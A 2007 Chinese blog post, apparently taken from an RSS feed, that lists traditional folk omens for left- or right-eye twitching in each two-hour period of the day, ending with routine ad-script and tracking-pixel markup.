<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 卯时：05点——07点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：贵人贵客报到，让你生命重现曙光，多留意忽然出现在你身边；很久不见的朋友。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：平安顺利，不必太过担心可能发生危险的状况，吉人自有天相，安心睡觉吧。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 辰时：07点——09点前<br></strong><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：人际关系会变好，许久不见的朋友再次相逢，可能捎来不错的喜讯。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：钱财就这样不知不觉地流失掉，花了许多冤枉钱。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 巳时：09点——11点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：会有好处可以捞，目前的你颇有利用价值，别人都会让你三分。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：开车小心，提醒家人多注意平安，危险出现在四周。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 午时：11点——13点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：长期耕耘总算有了结果，你可以松一口气，准备享受成果吧。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：意料之外的事情发生，还好机率不高，继续保持警戒才好。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 未时：13点——15点前<br></strong><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：你可能在打赌或玩麻将时输了不少钱，别输光了才来后悔。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：有好事发生，但属于微不足道，你也不会很高兴的那种小事。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 申时：15点——17点前</strong><br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：忽然想起什么事情吗？快点去做，当下想到的，最容易成功了。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：异性缘佳，你的贵人就是异性，他们对你，比同性宽容多了。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 酉时：17点——19点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：为人辛苦为人忙，好在有收获，帮别人也是在帮自己。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：刚认识的朋友就可以熟得不得了，和他们多混熟点会很不错。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 戌时：19点——21点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：有人指派工作给你，不要想太多，快点答应，其他的问题会自然会迎刃而解喔！<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：得意忘形了吗？小心小人随时准备落井下石，你别太嚣张。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;亥时：21点——23点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;左眼：享受合家团圆、多方肯定，再加把劲，你会做得更漂亮。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;右眼：提防官司纠纷，你要不口舌冒犯人，要不就是弄坏东西！</p>
</font><script language=javascript>
try
{
showAd(3,0,1);
}
catch(ex){}
</script><!--/enpcontent-->
<img src ="http://www.cnitblog.com/yiye/aggbug/27333.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-20 21:28 <a href="http://www.cnitblog.com/yiye/archive/2007/05/20/27333.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>